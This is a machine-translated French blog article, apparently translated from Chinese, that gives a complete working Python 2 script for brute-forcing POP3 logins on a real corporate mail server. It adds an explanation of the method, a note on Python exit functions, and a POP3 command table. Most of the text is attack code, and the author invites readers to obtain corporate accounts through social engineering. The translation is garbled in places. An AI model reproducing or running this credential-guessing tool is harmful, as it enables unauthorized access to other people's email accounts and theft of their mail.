Maison > Article > développement back-end > Python crée un script de dynamitage pour les boîtes aux lettres d'entreprise
Selon la tâche confiée par le maître, j'ai écrit un script de dynamitage d'e-mails d'entreprise, suivi de FTP, SSH et d'autres scripts de dynamitage.
Permettez-moi d'abord de parler de l'idée générale :
L'idée générale est d'utiliser le module poplib de python pour interagir avec le serveur pop3 et générer des résultats basés sur les informations pertinentes obtenues. Le protocole POP3 n'est pas compliqué. Il utilise également une méthode de questions-réponses. Vous envoyez une commande au serveur, et le serveur répondra certainement par un message.
1. correct
Sys.argv[] est utilisé pour obtenir les paramètres de ligne de commande. sys.argv[0] représente le chemin du fichier du code lui-même, donc les paramètres commencent à 1
. 2. Lisez ensuite le fichier de mot de passe utilisateur Obtenez des informations
3.pop.getwelcome() est utilisé pour obtenir l'état de réponse du serveur de connexion
4 Vient ensuite la partie code principale du script
server = "pop.qiye.163.com" //设置pop3服务器地址 pop = poplib.POP3(server,110) //连接pop3服务器 pop.user(user) //验证用户名 auth = pop.pass_(passwd) //验证密码 if auth.split(' ')[0]== "+OK": //判断响应的结果是否“OK” pring user,passwd5. Enfin, affichez les informations utilisateur pertinentes Le code du script est le suivant :
#!/usr/bin/python # -*- coding: UTF-8 -*- ''' @Author:joy_nick @博客:http://byd.dropsec.xyz/ @Email Pop3 Brute Forcer ''' import threading, time, random, sys, poplib from copy import copy if len(sys.argv) !=3: print "\t --------------------------------------------------\n" print "\t Usage: ./Emailpopbrute.py <userlist> <passlist>\n" sys.exit(1) server = "pop.qiye.163.com" success = [] try: users = open(sys.argv[1], "r").readlines() except(IOError): print "[-] Error: urerlist打开失败!\n" sys.exit(1) try: words = open(sys.argv[2], "r").readlines() except(IOError): print "[-] Error: passlist打开失败!\n" sys.exit(1) try: pop = poplib.POP3(server,110) welcome = pop.getwelcome() print welcome pop.quit() except (poplib.error_proto): welcome = "No Response" pass def mailbruteforce(listuser,listpwd): if len(listuser) < 1 or len(listpwd) < 1 : print "An error occurred: No user or pass list" return 1 for user in listuser: for value in listpwd : user = user.replace("\n","") value = value.replace("\n","") try: print "-"*12 print "[+] User:",user,"Password:",value time.sleep(1) pop = poplib.POP3(server,110) pop.user(user) auth = pop.pass_(value) print auth if auth.split(' ')[0]!= "+OK" : pop.quit() print "unknown error !" continue if pop.stat()[1] is None or pop.stat()[1] < 1 : pop.quit() print "获取信息失败!" continue ret = (user,value,pop.stat()[0],pop.stat()[1]) success.append(ret) pop.quit() break except: #print "An error occurred:", msg pass print "\t --------------------------------------------------\n" print "[+] Server:",server print "[+] Port: 995" print "[+] Users Loaded:",len(users) print "[+] Words Loaded:",len(words) print "[+] Server response:",welcome,"\n" mailbruteforce(users,words) print "\t[+] have weakpass :\t",len(success) if len(success) >=1: for ret in success: print "\n\n[+] Login successful:",ret[0], ret[1] print "\t[+] Mail:",ret[2],"emails" print "\t[+] Size:",ret[3],"bytes\n" print "\n[-] Done"Résultat du test : Explication : Le fichier du dictionnaire utilisateur nécessite @ domain.com, similaire à zhangsan@domain.com, lisi@domain.com, wangwu@domain.com. Comme je n'ai pas de compte de messagerie ni de mot de passe d'entreprise, je ne l'ai pas testé avec succès. Si vous êtes intéressé, vous pouvez rechercher des pantalons de travail social pertinents. Pièce jointe : Quelle est la différence entre os._exit(), sys.exit() et exit() en python ? sys.exit(n) quitte le programme et déclenche une exception SystemExit, qui peut être interceptée pour effectuer un travail de nettoyage. La valeur par défaut de n est 0, indiquant une sortie normale. cette exception n'est pas interceptée, elle sera directement sortie ; l'interception de cette exception peut effectuer un travail de nettoyage supplémentaire. Généralement, cette sortie os._exit(n) est utilisée dans le programme principal pour quitter directement l'interpréteur Python. Le code suivant ne sera pas exécuté, aucune exception ne sera levée et aucun travail de nettoyage associé ne sera effectué. effectué. Il est souvent utilisé pour la sortie des processus enfants.exit() devrait être le même que exit() dans d'autres langages tels que le langage C
------------------ -------------- -------------------------- ------------------------ ------
USER user username approuve le nom d'utilisateur si cette commande et la commande pass suivante sont. réussi, cela provoquera une transition d'état
PASS pass_ password approuve le mot de passe de l'utilisateur
APOP apop Name, Digest approuve le Digest est un résumé du message MD5
--------------- ----------------------------------- --------------- ----------------------------------- -
STAT stat Aucun Traite le serveur de requêtes pour renvoyer les statistiques à propos de la boîte aux lettres, comme le nombre total d'e-mails et le nombre total d'octets
UIDL uidl [Msg#] Traite l'identifiant unique de l'e-mail renvoyé, chaque identifiant de la session POP3 sera unique
LISTE liste [Msg#] gère le retour du nombre de messages et la taille de chaque message
RETR retr [Msg#] gère le retour du texte intégral du message identifié par le paramètre
DELE dele [Msg #] Le serveur de traitement marquera le mail identifié par le paramètre comme supprimé, exécuté par la commande quit
RSET rset None Le serveur de traitement réinitialisera tous les mails marqués pour suppression, utilisé pour annuler la commande DELE
TOP top [Msg#] traitement Le serveur renverra le n premières lignes de l'e-mail identifié par le paramètre. n doit être un entier positif
NOOP noop Aucun. Le serveur de traitement renvoie une réponse positive